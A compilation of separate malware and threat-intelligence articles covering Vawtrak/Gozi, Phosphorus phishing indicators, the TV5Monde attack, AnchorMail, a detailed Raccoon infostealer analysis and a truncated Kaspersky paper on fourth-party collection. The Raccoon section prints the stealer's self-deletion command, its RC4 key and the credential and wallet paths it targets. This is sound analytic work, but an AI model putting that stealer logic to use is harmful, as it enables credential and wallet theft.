Oleg Vsevolodovich Tolstykh (a.k.a. “Sergey”, “Serega”, and “vor v zakone” translated as “thief-in-law”, and the related handles “vorVzakone” and “vorVzakon”) and Kuzmin’s old friend, NSD. The three launched a very public campaign known as Project Blitzkrieg – a series of attacks on U.S. banks specifically, using rejuvenated Gozi 2.0 code with a new backconnect SOCKS proxy feature. This version was designed not just to run on 64-bit systems, but it was the first known crimeware kit to actually use webinjects in a 64-bit browser. ## Gozi Operations in Full Swing After Arrests With Kuzmin detained in the U.S., reportedly cooperating with authorities, and vorVzakone running the show in Russia as NSD took over the code, it made almost no impact on day-to-day Vawtrak/Gozi 2.0 operations when Kuzmin’s former compatriots in crime were finally arrested in November (Čalovskis arrested in Latvia) and December (Paunescu arrested in an FBI-directed raid of PowerHost in Romania) of 2012. With a little help and possibly inspiration from the power vacuum created by these arrests, this capable vorVzakone+NSD partnership aspired to be the founder of a cyberfraud syndicate. They provided a builder kit with a manual (but not the source code) and boot-camp style training for wannabe botmasters in exchange for “educational fees” and a share of profits in what vorVzakone described as a “freemium” software business model. Being a consummate marketer, vorVzakone dropped the old “CRM” name and adopted the Gozi name by which it was known worldwide, calling it “Gozi Prinimalka” (the latter word from the Russian meaning “to receive”). In vorVzakone’s playbook, his crew would setup and use a bank of cheap computers running Skype to flood the account holder’s phone line while their account is being raided, to prevent them from receiving confirmation calls or SMS alerts from their banks. By Spring 2013, vorVzakone and NSD had found some partners whose capabilities and allegiances were vetted through participation in their program. Collectively, they became known as the Neverquest crew. ## Neverquest Crew Neverquest operations have ditched blocking victims' phone lines with Skype, since voice and SMS OoBV is used more often than ever to verify the types of transactions used to raid accounts. They have since begun using iBanking spyware for Android to intercept both phone calls and SMS, injecting QR codes into pop-ups on the banking site that link to this tool used by Neverquest to subvert OoBV. Confused by the code’s genetics and the association with the payload, the malware family is still referred to variously by the AV industry as “Ursniff”/”Snifula,” “Rovenix,” “Vawtrak,” “Reveton” (ransomware payload), “Neverquest,” “Tepfer,” and “Dapato,” sometimes different names from the same AV engine for the same exact variant downloaded from a different domain name (same packer, same IP address). Gozi 2.0 and later versions were most commonly referred to as “Vawtrak” but the core Trojans are basically the same thing and are all examples of 64-bit Gozi 2.0 “Prinimalka”. The main body of the (Russian) Neverquest Vawtrak crew is still overseen by vorVzakone. They have a client-provider relationship but the Neverquest operations are directed at a high level by him and his partners. In 2014, as part of a post-Project Blitzkrieg operations revitalization effort, that crew added a “bizdev” (business development) section to the targeting configuration in order to steal data that can be mined by back-end processes to identify potential new targets and compromise accounts on other services that might be useful monetizing their efforts. ## Targets One of the early non-financial targets to come out of the bizdev concept is StubHub, the eBay-owned event tickets marketplace. Losses to fraud against StubHub totaled USD $1.6 million. Vawtrak was the tool used to compromise the 1600 accounts used to commit that fraud. U.S. and foreign law enforcement launched a coordinated response which resulted in the arrests of seven people across the globe, most of whom had direct business ties with the Russian Vawtrak crew. Since June 2014, we’ve seen some slightly out of date, but still full-featured, Vawtrak versions attacking a very small number of banks in Japan on a fairly small scale, perhaps in what are precisely targeted attacks. This is believed to be an Asian crew that graduated from Project Blitzkrieg. However, with new webinjects and code changes commissioned by a relatively new client of Vawtrak’s Russian masters, attacks on Australian banks have grown, and banks in New Zealand have been added to the targeting configuration. The largest increase is by far the number of North American targets, especially large U.S. financial institutions. It is clear that Vawtrak is a threat quickly growing in size, scale, and sophistication and it is now back on the radar of security researchers, analysts, investigators, and law enforcement after being largely discounted and dismissed for nearly a couple of years. ## New Version of Vawtrak Observed In December 2014, Vawtrak version 0x38 was released. There were many significant code and configuration changes that indicate momentum and an intense focus on development of the crimeware kit and the service business built on top of the infrastructure provided by Vawtrak botnets. Other observed changes include: - Significant changes to how the configuration data (with sensitive communications and targeting information) is protected. - Many more targets and enhanced webinjects. - Communications template and syntax has changed significantly. - The bot collects and reports new and more data about the infected system, such as the NetBIOS workgroup or domain name. We’ve also seen them respond to the attention they are getting from malware analysts and investigators by finally resorting to the adoption of modern anti-analysis tactics such as virtual machine detection and anti-debugging methods designed to defeat, or at least hinder, forensics and both static and dynamic/behavioral analysis. That brings us up to the present. Unfortunately, the Vawtrak story is not finished yet, given the following: - High scoring results of recent threat modeling exercises applied to Vawtrak and other top threats. - The trend of significant increase in the activity associated with spambots, exploit kits, and loaders directly tied to Vawtrak distribution. - Significant changes in the very latest iterations/versions of the malware. It is predicted that we are headed toward a new and dangerous chapter in the Vawtrak story. Follow our blog as we continue to closely track this threat and others. ## Vishing Attacks Are at an All-Time High, Report Finds Vishing attacks have increased almost 550 percent over the last twelve months, according to Agari and PhishLabs’ Quarterly Threat Trends & Intelligence Report. ## Qbot Payloads Dominate Q1 Qbot payloads targeting enterprises contributed to almost three quarters of all email-based malware since the beginning of 2022. ## Social Media Attacks Double in 2021 According to Latest PhishLabs Report Social media attacks targeting organizations increased 103% in 2021, according to PhishLabs’ Threat Trends & Intelligence Report.
# Cyberattacks Target International Conference Attendees Today, we’re sharing that we have detected and worked to stop a series of cyberattacks from the threat actor Phosphorus masquerading as conference organizers to target more than 100 high-profile individuals. Phosphorus, an Iranian actor, has targeted with this scheme potential attendees of the upcoming Munich Security Conference and the Think 20 (T20) Summit in Saudi Arabia. The Munich Security Conference is the most important gathering on the topic of security for heads of state and other world leaders, and it has been held annually for nearly 60 years. Likewise, T20 is a highly visible event that shapes policy ideas for the G20 nations and informs their critical discussions. Based on current analysis, we do not believe this activity is tied to the U.S. elections in any way. The attackers have been sending possible attendees spoofed invitations by email. The emails use near-perfect English and were sent to former government officials, policy experts, academics, and leaders from non-governmental organizations. Phosphorus helped assuage fears of travel during the Covid-19 pandemic by offering remote sessions. We believe Phosphorus is engaging in these attacks for intelligence collection purposes. The attacks were successful in compromising several victims, including former ambassadors and other senior policy experts who help shape global agendas and foreign policies in their respective countries. This activity was uncovered by Microsoft’s Threat Intelligence Center, or MSTIC, which tracks the world’s nation-state and cybercrime actors so we can better protect our customers. MSTIC is also critical to the work of our Defending Democracy Program, powering our AccountGuard threat notification service available in 30 countries worldwide and fueling the intelligence we share to help keep elections secure. We build new protections into our products regularly based on the threats MSTIC uncovers. We’ve already worked with conference organizers who have warned and will continue to warn their attendees, and we’re disclosing what we’ve seen so that everyone can remain vigilant to this approach being used in connection with other conferences or events. We recommend people evaluate the authenticity of emails they receive about major conferences by ensuring that the sender address looks legitimate and that any embedded links redirect to the official conference domain. As always, enabling multi-factor authentication across both business and personal email accounts will successfully thwart most credential harvesting attacks like these. For anyone who suspects they may have been a victim of this campaign, we also encourage a close review of email-forwarding rules in accounts to identify and remove any suspicious rules that may have been set during a successful compromise. We are also sharing the indicators of compromise (IOCs) observed during these activities. We encourage IT teams to implement detections and protections to identify possible prior campaigns and prevent future campaigns against their users. These indicators include phony email accounts and domains or websites used to steal victims’ credentials. ## Indicators of Compromise | INDICATOR | TYPE | DESCRIPTION | |---------------------------------------------|-----------|-------------------------------------------------------| | t20saudiarabia[@]outlook.sa | Email | Masquerading as the organizer of the Think 20 (T20) conference | | t20saudiarabia[@]hotmail.com | Email | Masquerading as the organizer of the Think 20 (T20) conference | | t20saudiarabia[@]gmail.com | Email | Masquerading as the organizer of the Think 20 (T20) conference | | munichconference[@]outlook.com | Email | Masquerading as the organizer of the Munich Security Conference | | munichconference[@]outlook.de | Email | Masquerading as the organizer of the Munich Security Conference | | munichconference1962[@]gmail.com | Email | Masquerading as the organizer of the Munich Security Conference | | de-ma[.]online | Domain | Domain used for credential harvesting | | g20saudi.000webhostapp[.]com | Subdomain | Subdomain used for credential harvesting | | ksat20.000webhostapp[.]com | Subdomain | Subdomain used for credential harvesting | As we noted in our recent Digital Defense Report, nation-state cyberattackers routinely pursue think tanks, policy organizations, and governmental and non-governmental organizations, seeking information that an attacker can use for their benefit. We will continue to use a combination of technology, operations, legal action, and policy to disrupt and deter malicious activity, but nothing replaces vigilance from people who are likely targets of these operations. Tags: cyberattacks, cybersecurity, Defending Democracy Program, Microsoft AccountGuard, Microsoft Threat Intelligence Center, MSTIC
# How France's TV5 was almost destroyed by 'Russian hackers' By Gordon Corera Security correspondent, BBC News Published 10 October 2016 A powerful cyber-attack came close to destroying a French TV network, its director-general has told the BBC. TV5Monde was taken off air in April 2015. A group calling itself the Cyber Caliphate, linked to so-called Islamic State, first claimed responsibility. But an investigation now suggests the attack was in fact carried out by a group of Russian hackers. The attack used highly targeted malicious software to destroy the TV network's systems. Wednesday 8 April was a big day for Yves Bigot, the director-general of TV5Monde. His network, which broadcasts around the world, had just launched its latest channel. French ministers had been in attendance at the Paris headquarters. That evening Mr Bigot went for dinner to celebrate with a counterpart from Radio Canada. Just as they were being served their appetisers at 20:40 local time, a flood of texts and calls informed him that all 12 channels had gone off air. "It's the worst thing that can happen to you in television," Mr Bigot told me in his Paris office. It quickly became clear that the network had been subject to a serious cyber-attack. "We were a couple of hours from having the whole station gone for good." It was a race against time - more systems were corrupted with every passing minute. Any substantial delay would have led satellite distribution channels to cancel their contracts, placing the entire company in jeopardy. "We were saved from total destruction by the fact we had launched the channel that day and the technicians were there," said Mr Bigot. "One of them was able to locate the very machine where the attack was taking place and he was able to cut out this machine from the internet and it stopped the attack." At 05:25 local time, one channel was restored. Others followed later that morning. "We owe a lot to the engineer who unplugged that particular machine. He is a hero here," Mr Bigot said. The attack was far more sophisticated and targeted than reported at the time. The perpetrators had first penetrated the network on 23 January. They carried out reconnaissance of TV5Monde to understand the way in which it broadcast its signals. They then fabricated bespoke malicious software to corrupt and destroy the internet-connected hardware that controlled the TV station's operations - such as the encoder systems used to transmit programmes. The attackers used seven different points of entry. Not all of them were part of TV5Monde or in France. In one case, a company based in the Netherlands was targeted because it supplied the remote controlled cameras used in TV5's studios. At 20:40 local time - when the first calls were made - the people in charge of digital content at the broadcaster told Mr Bigot that messages had been posted on the channel's Twitter and Facebook pages. The hackers said they were from a group calling themselves the Cyber Caliphate, and made threats against France. It was only a few months since the Charlie Hebdo attacks and it seemed this could have been a follow-up strike by so-called Islamic State (IS). But as the investigation by French authorities began, a different picture began to emerge. France's cyber-agency told Mr Bigot to be careful about linking the incident directly to IS - instead he was advised to say only that the messages claimed to be from IS. The investigators had come to believe that the attackers had used the jihadist posts to try to cover their tracks. Mr Bigot was later told evidence had been found that his network had been attacked by a group of Russian hackers, who are known as APT 28. "I have absolutely no idea," said Mr Bigot, when I asked why TV5Monde had been targeted. He explained that the investigators had only been able to prove two things. Firstly, that the attack was designed to destroy the channel, and secondly, that it was linked to APT 28. "There are two things that the investigation won't probably be able to achieve," he added. "The first one is why us - why TV5Monde? And the second one is: Who gave the order and the money to that Russian group of hackers to actually do it?" It's not uncommon for cyber-attackers to enter a target's network to look for information. But what happened to TV5 was not espionage - the aim was destruction. And that is indicative of a new trend: attacks with physical-world consequences. Arguably, the pioneering state-backed attack of this type was Stuxnet. This was carried out - it is widely believed - by the US and Israel against Iran's nuclear programme and involved damaging the centrifuge programme at Natanz. More recently, a power station in Ukraine was switched off by cyber-attackers. The TV5 attack fits into this pattern of highly-targeted attacks, rather than the kind of general criminal activity typically seen on the web. The issue as to why Russian hackers targeted the company is one that has occupied intelligence analysts in the UK and US, as well as France. In London, the conclusion was that it was most likely an attempt to test forms of cyber-weaponry as part of an increasingly aggressive posture. The impact on TV5 was enormous. In the immediate aftermath, staff had to return to using fax machines as they could not send emails. "We had to wait for months and months before we reconnected to the internet," recalled Mr Bigot. The financial cost was €5m ($5.6m; £4.5m) in the first year, followed by over €3m ($3.4m; £2.7m) every following year for new protection. But the biggest challenge has been to the way the company works. Every employee has had to change their behaviour. Special authentication procedures are needed to check email from abroad, flash drives have to be tested before being inserted. For a media company that exists by moving material in and out of its systems, the costs in efficiency have been real. "We never will be as we were before," said Mr Bigot. "It is too dangerous."
# TrickBot’s AnchorDNS is Now Upgraded to AnchorMail Researchers have discovered a new and improved version of the AnchorDNS backdoor. The backdoor is used by the TrickBot group and employed in recent attacks deploying the Conti ransomware. ## The newly upgraded backdoor The recent discovery of AnchorMail (aka Delegatz) during ransomware attacks spotlights TrickBot’s devotion to upgrading its malware. The newly upgraded backdoor variant uses an email-based C2 server, with which it communicates using SMTP and IMAP protocols over TLS. Post-execution, AnchorMail creates a scheduled task for persistence that runs every 10 minutes. It collects basic system info, registers with its C2, and enters a loop of checking for and executing acquired commands. ## Similarities with AnchorDNS Except for the overhauled C2 communication mechanism, AnchorMail’s behavior aligns with its predecessor AnchorDNS. The command structure is very similar to that of AnchorDNS and both versions accept the same set of command codes that provides different options for running commands and payloads obtained from the C2. AnchorMail is written in C++ and targets only Windows systems. However, as AnchorDNS is ported to Linux, there is a high chance that there will be a Linux variant of AnchorMail. ## Conclusion TrickBot is one of the most prolific threat actors and is known for upgrading its malware from time to time. Thus, experts recommend having good detection, monitoring, and response solutions, and robust internal SOC processes. Further, it is recommended to train employees to spot phishing emails.
# In-depth Analysis of an Infostealer: Raccoon ## General Info Raccoon is a malware written in C++. It came to my attention while looking at my Twitter feed and spotting a tweet from @tkanalyst. I was not aware of it, and as a malware analyst working at a sandbox company (tria.ge), I wanted immediately to analyze it and develop signatures. The name was chosen due to @tkanalyst's tweet. The sample that was analyzed has the following information: - **MD5 HASH (Packed)**: 126ed436b3531dd857b25b9da2c80462 - **MD5 HASH (Unpacked)**: 3367E9FC3CDBE03D65460E5BF86EE16B - **Raccoon Version**: 1.2 Generally, the sample is a typical infostealer malware. It checks for the existence of various types of applications such as browsers, email clients, and coin wallets, and attempts to steal their data by reading their configuration files or databases. The execution of the malware is closely related to the configuration that the CnC server will send, thus there is an obstacle during the dynamic analysis if the CnC domain is down. In our case, this was solved by writing a module in Fakenet-NG and emulating the responses of the CnC. ## Static Analysis While I am not that fond of malware written in C++ for obvious reasons, Raccoon was not that complicated - it does not have any anti-analysis methods, and its execution is straightforward. With the help of FLIRT signatures, if correctly applied, the static analysis can become a lot easier. While spending some time doing static analysis, I noticed some patterns for string decryption. The majority of the strings are encrypted with a combination of bitwise NOT/XOR (depending on the sample). To make my life easier and to practice my IDA Python skills, I created a script in order to search and decrypt these strings. Some main points from the script: - It has two major functions responsible for reading ASM instructions and gathering the data and decrypting it. - It is based on pre-defined regex for deciding whether there is potential encrypted data. There is often overlap between the addresses, which is solved by checking the decrypted strings and deciding which one is valid. ## Dynamic Analysis Starting to analyze the malware dynamically, the malware first checks for a mutex to determine if an instance of it is already running. Specifically, the mutex's name is a result of a string decryption and concatenation with the current user's name. If the mutex does not exist, it is created and the function returns 1; else it returns 0. Immediately after that, the malware checks the privilege that it is executed with. Specifically, with the help of the token, it is determined whether the process is run from the Local System group. If that's the case, then a snapshot of running processes is acquired, and it will try to duplicate a token (with higher privileges) from another one in order to call CreateProcessWithTokenW API, restarting with higher privileges. As it was mentioned in Cybereason's post, the malware checks the locale of the system against various other values such as Russian, Ukrainian, Belarussian, Kazakh, Kyrgyz, Armenian, Tajik, and Uzbek. In order to continue the execution, the malware needs to get its JSON config. The CnC server serving the config does not exist inside the sample - instead, the sample dynamically acquires its CnC via another request. The sample first proceeds into decrypting an RC4 key (1@zFg08*@45), which is further used to decrypt a URL and the sample's Config ID. There are two hardcoded strings, encrypted with RC4 and encoded with base64 encoding. They also have multiple newline and space characters (probably to break static tools). These strings are the URL of the first domain and the Config ID of the current sample. In the current sample, a request is performed towards a drive.google.com URL followed by a lookup in the response headers in order to locate two substrings: '.txt";filename*=UTF-8' and 'attachment;filename='. Their values are the RC4 encrypted CnC that is expected to respond later with a valid JSON configuration. It should be noted that the RC4 key for decrypting the CnC domain is different from the one used before, but it is hardcoded in the sample. After that, it's time for the UUID of the infected workstation to be built. This is done by getting the machine GUID, user's name, and the previously encrypted config in the sample all together concentrated. The parameter is encoded with base64 encoding and a POST request is performed to the previously decrypted CnC domain. The malware ensures that a response is valid by either checking for the existence of the string 'Wrong config id' or by the string 'url'. Also, if the response does not contain the 'Wrong config id' but somehow contains the string 'url', it will later fail during the parsing of the configuration (C++ exceptions). If the JSON config is valid, then the value of the 'url' JSON property is acquired. Also, a folder is created in TEMP named 'TrashCan', which was not used during execution. It should be noted that all the file operations are performed via transactions, something that Fumiko, another malware researcher, has described in one of his blog posts. Another check of properties in the config occurs for 'config' and 'mask'. If successfully located, the sample continues to create a string 'C:\\Users\\user\\AppData\\Local\\Temp\\Log.zip' for future usage. Another property check happens for 'attachment_url'. If it exists, its value will be acquired, which in our case is a .dll. The malware will start preparing to download and load the particular library. As is common with Raccoon, a string is decrypted in memory and in this case, it is 'sqlite3.dll'. Later, a full TEMP path will be built in order to be used by UrlDownloadToFileA to download and save the file. Then it proceeds into checking the value of the 'history_is_enabled' property and begins its first stealing operation - loading the dropped sqlite3.dll library and getting the data from Chrome-like browsers by searching in specific folders. This is done by iterating an array of structures with size 18h, containing 4 offsets to various paths like Login Data, Cookies, Web Data, and User Data for various browsers descendant of Chrome. The index is saved in the ESI register while accessing the various members of the structures holding the information about the browsers. Next, the sample attempts to steal all the data associated with Internet Explorer. This is done by calling three different functions, each aimed at stealing different data such as autocomplete information, HTTP basic authentication passwords stored in the credentials store, and finally data from Vault. The methods used here are known to the public and were detailed explained in various sources. Lastly, another string is decrypted in memory 'libraries' and again its existence is checked against the response. If the property exists, then its value will be acquired resulting in a URL containing additional libraries. The sample will attempt to perform its next stealing operation targeting Firefox-like browsers by downloading the additional libraries, loading them, and resolving the needed APIs in order to steal the data. It should be noted that the path that the additional libraries were extracted is added as a value in the environmental variable 'PATH'. Firstly, the malware checks if the "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nss3.dll" exists in disk and if not, it then proceeds into downloading the set of libraries to the path "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ff-funcs.zip" and unzip the libraries at "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\". Finally, the 'nss3.dll' library will be loaded and the associated APIs will be resolved in order to be used in the next function. The malware attempts to steal History, Signons, cookies, and places.sqlite by looping again against an array of structures holding information for Firefox-like browsers. Finishing with the browsers, the sample proceeds into stealing email data associated with the Outlook browser. This was covered by Cybereason's blog, so we will proceed into the next stealing operation - taking data from the FoxMail client. It thoroughly checks for the existence of: 1. D:\\Program Files\\Foxmail 7.2\\Storage 2. D:\\Program Files (x86)\\Foxmail 7.2\\Storage 3. D:\\Foxmail 7.2\\Storage 4. C:\\Program Files\\Foxmail 7.2\\Storage 5. C:\\Program Files (x86)\\Foxmail 7.2\\Storage 6. C:\\Foxmail 7.2\\Storage and collects all the relative data. Finishing from stealing data from email clients, the next thing is to collect information from the infected workstation. The value of the 'IP' property is being parsed from the JSON response and then a function is responsible for gathering and writing to a file named 'machineinfo.txt' information. The installed programs are being determined by looping through the entries of 'SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall'. The information that is collected and written is as follows: | Property | Value | |----------------------------------|-----------------------------------------------------------------------| | Raccoon's version | Hardcoded | | Build Time | Hardcoded | | Bot ID | Concatenation of strings (SOFTWARE\\Microsoft\\Cryptography\\MachineGuid + '_' + GetComputerNameA()) | | System Language | GetLocaleInfoA() | | Username | GetUserNameA() | | External IP | (Returned by the configuration) | | Windows version | SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName | | System arch | GetSystemWow64DirectoryW() | | CPU | CPUID | | RAM (MB Used etc.) | GlobalMemoryStatusEx() | | Display Devices | EnumDisplayDevicesA() | | Screen Resolution | GetSystemMetrics() | | Installed APPs | SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall | The malware also has the capability of taking a screenshot. If the 'is_screen_enabled' property exists in the JSON config and its value is 1, then the malware will take a screenshot and save it as screen.png in TEMP. Last but not least, the sample looks for various crypto coin wallets and attempts to steal their data. There is a general search in the APPDATA for files named 'wallet.dat' and after that, famous wallets are targeted such as: - Electrum - Ethereum Wallet - Exodus - Jaxx - Monero - Bither Finally, the sample is preparing for the exfiltration phase. That means collecting all the information that was written to Temp and zipping them up to a zip file named 'Log.zip'. The following files are searched to be included in the zip and are products of the previous attempts to steal data: 1. password.txt 2. CC.txt 3. browsers\\firefox_cookie.txt 4. browsers\\firefox_urls.txt 5. browsers\\chrome_urls.txt 6. browsers\\chrome_cookie.txt 7. browsers\\chrome_autofill.txt 8. browsers\\ie_autofill.txt 9. browsers\\ie_ftp_data.txt 10. mails\\outlook.txt 11. mails\\thunderbird.txt 12. mails\\foxmail.txt 13. Wallets\\Electrum 14. Wallets\\Ethereum 15. Wallets\\Exodus 16. Wallets\\Jaxx 17. Wallets\\Monero 18. machineinfo.txt (but included in the zip as System Info.txt) The additional libraries that were dropped on disk are deleted, and so are all the files that were included in the zip file. Before the sample deletes itself and terminates its execution, it checks for the existence of the property 'loader_urls' in the JSON config. If it exists, then the sample will generate a random 10-letter name, part of an executable path. This will be the location that the executable will be downloaded from the URL, which is the value of the 'loader_urls'. The executable then will be executed. The file will be executed with the ShellExecuteW Windows API. Lastly, the malware deletes itself from the infected workstation by executing 'cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"'. One thing that comes to mind immediately after finishing the analysis is - did we miss locating the way that the malware is acquiring persistence in the system, or does it not have any persistence method at all? In the next blog, we will discuss and analyze the PE file which was downloaded earlier and the way it is enforcing persistence across the system. ## Evolution As is normal for that kind of malware, there was a new version while this article was written. Another malware researcher, Fumiko, was kind enough to point me to another Raccoon sample found in his tracker (MD5: 121f7cba18bcb38e68bd4fc4f2e71815). During a quick static analysis by running our IDAPython script, it was revealed that there was indeed a new version, specifically called '[Raccoon Stealer] - v1.3.2'. While a responsible analyst would take a closer look, diff the functions in order to discover new changes, we are of the lazy type. So instead of all that, all the strings from a sample with version 1.2 were dumped to a .txt file and diffed against all the strings from the new version. This resulted in the following: - Some new targets were added, specifically FileZilla. - There were some new SQLITE queries added (maybe to support newer browser versions?). In order to confirm our findings, we would have to execute the malware and monitor specific API calls to verify the above. What's the point of working in a sandboxing company if not using the sandbox for that kind of things? Executing the malware and inspecting the logs revealed that indeed the sample is checking for that kind of paths. Also, a new directory called (TempDir-Extended) is created and the two files are potentially stored there. The new directory also exists in our diffing, thus further verifying the validity of our results. From a quick look at the static code and based on the execution logs taken from the sandbox execution, we concluded that: - The content of the wallets that were stolen is stored in new files based on the type of the coin (trevor, ledge) also in a new path but will be added to the Log.zip file with the same name. - There seems to be a change in the way that the dumped passwords are stored in the associated .txt files based on static code compared to the older versions. - It seems that in the System Info.txt, the information of the computer's name was added. This was later verified by inspecting the dropped .txt file before being deleted by the sample. ## Conclusion Raccoon is an infostealer capable of performing a variety of actions, justifying its price and its heavy usage by a variety of criminals. From the above analysis, one must remember that: - The CnC domain is acquired dynamically - there is an HTTP request beforehand to get the CnC encrypted with RC4 (it is not hardcoded in the sample). - The credentials that were grabbed are saved in the TEMP folder with specific names - easy to keep in mind during an IR assessment. - In versions 1.2/1.3.2, there is no persistence method - in this particular case, the response did have an EXE to be executed which would create a scheduled task, but in general, there isn't one. - Some numeric constants did not change - if we carefully examine the code, most of the tags used during the completion of the machineinfo.txt file are 128-bit constants hardcoded in the sample. Apart from the constant used to define the new version of the malware, the other ones are the same. Lastly, there are some more things to figure out and improve during the analysis of this family such as: - There is not a clear explanation for the width property in the JSON - the same applies to the mask property too. It could be a placeholder for a future capability maybe? - By inspecting strings, it was revealed that the author is using a famous open-source JSON library for C++, and specifically the version 3.4.0. There was an attempt to produce a .lib file in order to use IDA's way of producing FLIRT signatures and make the analysis easier but was not successful. - There was not further exploration of the properties of the JSON, thus there is no guarantee that this analysis covered all the potential capabilities of the malware. ## Special Thanks - xorsthingsv2 for taking the time to review the analysis and the document. - Fumiko for showing me the new sample. - @tkanalyst for posting the Raccoon samples.
# Master of RATs - How to create your own Tracker ## Malware ### 0x00sec The Home of the Hacker
# WALKING IN YOUR ENEMY’S SHADOW: WHEN FOURTH-PARTY COLLECTION BECOMES ATTRIBUTION HELL **Juan Andres Guerrero-Saade & Costin Raiu** Kaspersky Lab, USA & Romania Email: [email protected]; [email protected] ## INTRODUCTION Opportunity plays a large and unaccredited role in the practice of intelligence. Where convenience can proffer information of intelligence gathering value, an intelligence service can capitalize while saving resources and maintaining a light touch to avoid detection. The maturity of an intelligence service can be measured in part by structural adaptation to maximize opportunistic collection wherever beneficial. Depending on the purview of the intelligence service in question, be it all source, human intelligence (HUMINT), signals intelligence (SIGINT), etc., these structural changes will take different forms. HUMINT outfits may recruit, supplant, or bug spouses, therapists, and priests in proximity to a desirable outfit to take advantage of the intended target’s willingness to ‘bare their soul’ where they otherwise may not. The benefit of confession isn’t strictly necessary; in some cases, the heat emanating from a facility, the number of pizza deliveries in a week, or the number of cars parked in a specific area may provide crucial information about the activities taking place in a location of interest. Creativity for opportunism is well rewarded in the practice of intelligence. In the case of signals intelligence services, the gamut of opportunism extends wider still. By the very tradition of SIGINT collection, phone calls and emails are desirable, as are those of third-parties associated with the intended target who may not treat the content of those privileged interactions with the level of care of the original interlocutor. The existence of contacts and connections between targets of interest may be telling in and of itself. But let us widen our view to the options available to truly mature, sophisticated, and capable services when it comes to engaging the full berth of options at their disposal. After all, there’s more than one SIGINT agency in the world. Different agencies, be they friend or foe, have a purview over different geographical areas and desirable sectors. Their analysts are likely to have a greater acquaintance with desirable targeting and the context in which to interpret the information received from their collection. This presents a valuable opportunity: to co-opt the collection methods of a foreign intelligence service to receive the same raw information being collected on targets of interest to the latter intelligence services; this practice is known as fourth-party collection. In the 21st century, intelligence operations of all kinds have embraced the ease, convenience, and tantamount desirability of digital espionage and as such, so must our concepts of intelligence methodology adapt. Fourth-party collection is an interesting and ongoing practice with a palpable impact on cyber espionage operations. The opportunities for fourth-party collection afforded by the digital realm are truly manifold. Sadly, so are the problematic implications for those of us interested in accurately researching or investigating these high-powered threat actors. From our perspective, the greatest difficulties lie in the realm of attribution where the first- and second-order implications of intelligence piggybacking threaten to destroy the current paradigm of our understanding and analysis capabilities. We must therefore carefully spell out our understanding of this practice, cases in the wild that showcase the shadow of possible fourth-party collection, and face the potential limits of our understanding of digital espionage to avoid missteps going forward. A study of fourth-party collection from the perspective of outside observers is complicated. Passive forms of fourth-party collection are largely unobservable from our vantage point. As such, we will discuss these insofar as we understand their theoretical effect on cyber operations. However, in the case of active fourth-party collection, with its heavy-handed byproducts like tool repurposing, victim stealing and sharing, we have endeavoured to provide in-the-wild examples alongside relevant thought experiments to best serve our understanding of this elusive practice. Similarly, while we do not indict the SIGINT giants that protect our safety and the national security of our countries, we stand firmly in our understanding that techniques continue to trickle down and proliferate. While some fourth-party collection practices may be unattainable for actors that do not hold the status of ‘gods on the wires’, some of the complications that arise from code reuse or C&C (command-and-control) infrastructure piggybacking are already being felt and should be addressed with an objective view to furthering our understanding of the disastrous complications encountered therein. ## Categorizing Collection Relative to Its Means of Generation The means by which information is generated and collected cannot be ignored when the purpose is to root out some semblance of actionable context that must not be tainted by the perspective of the source of the information or the limitations of the collection methods themselves. The analyst must be well aware of the means of generation and source of the information analysed in order to either compensate or exploit its provenance. For that reason, collection can be categorized by its means of generation in relation to the position of the parties involved. While insiders may find disagreement with the particulars of our appropriation of the following terms, these definitions will serve as functional categories for our understanding as outsiders looking into the more complex spheres of collection dynamics. To facilitate this discussion we will fabricate a competent entity named ‘Agency-A’ as a stand-in for a ‘god on the wire’-style SIGINT agency interested in fourth-party collection. Let’s categorize the collection categories available to this entity: - **First-party collection**: Information collected by Agency-A first hand by passive or active means. - **Second-party collection**: Information shared with Agency-A by partner intelligence agencies. Note that the original source of the data itself does not have to be the partner service’s first-party collection. - **Third-party collection**: Information collected by means of access to strategic organizations, be it wittingly, willingly, or otherwise. These may include Internet service and telecommunication providers, social media platforms, ad networks, or other companies that generate and collect vast amounts of data on potential targets of interest. Agency-A is in a position to correlate seemingly innocuous data (such as ad network trackers) with other forms of collection to benefit its overall intelligence product and targeting. Each category of collection is interesting in its own right, but fourth-party collection in particular is worthy of added interest and scrutiny from the threat intelligence research community. This heightened status is warranted by the troubling ramifications implicit in the exploitation of ‘cyber situational awareness’ by any entity involved in fourth-party collection. Unwarranted tin-foil-hat-worthy claims of prevalent false-flagging become marginally more plausible when modelling for threat actors in the rare position to conduct fourth-party collection. We will first discuss the situational models that enable fourth-party collection, followed by the byproducts and benefits of this collection category, before discussing the specific problems these pose for threat intelligence research. ### Passive Collection The importance of ‘god on the wire’ status for our hypothetical Agency-A becomes most immediate when discussing passive collection opportunities. These are characterized by a silent ability to collect data at some point in transit between the victim and the original attacker (Agency-B). For those unfamiliar with the fundamental elements of a cyber espionage campaign, most consist of a malware toolkit meant to perform victim tracking and collection of specific data on a periodic and persistent basis. Like a satellite beaming back to Earth, the malware exfiltrates this information back to a command-and-control server. This communication usually involves the retrieval of further tasking or instructions from the attackers, or perhaps next-stage malware. As such, we can expect the attackers to connect to this command-and-control server (or a daisy-chain arrangement of servers) to retrieve exfiltrated information, upload tasking and payloads, and generally monitor their infrastructure. This snapshot of a standard cyber espionage operation can function as a working model for how we can expect Agency-B to conduct its day-to-day operations. Depending on its existing access, Agency-A can leverage multiple passive collection opportunities, as follows: - **Victim-to-server transit**: By virtue of its placement, Agency-A may have access to the data in transit from the victim to one or more of Agency-B’s command-and-control servers. Possible enablers include taps on the cables leading to these servers, access to routing infrastructure along the route, or broad third-party access to the Internet Service Providers (ISPs) along the way or the Virtual Private Server (VPS) hosting provider specific to this server. - **Server-to-attacker transit**: Alternatively, Agency-A can find a similar vantage point along the route connecting Agency-B and its command-and-control infrastructure, or within junctures connecting different nodes in that infrastructure itself. The latter is possible within C&C configurations that employ server daisy-chaining for ‘anonymizing’ properties. In that case, multiple servers are set up as relay hops, employing encryption and a fragmented awareness of the full route of servers as means of protecting the operators. ### Active Collection So far we have focused entirely on passive collection capabilities that are likely to yield a benefit for Agency-A while providing little to no indication 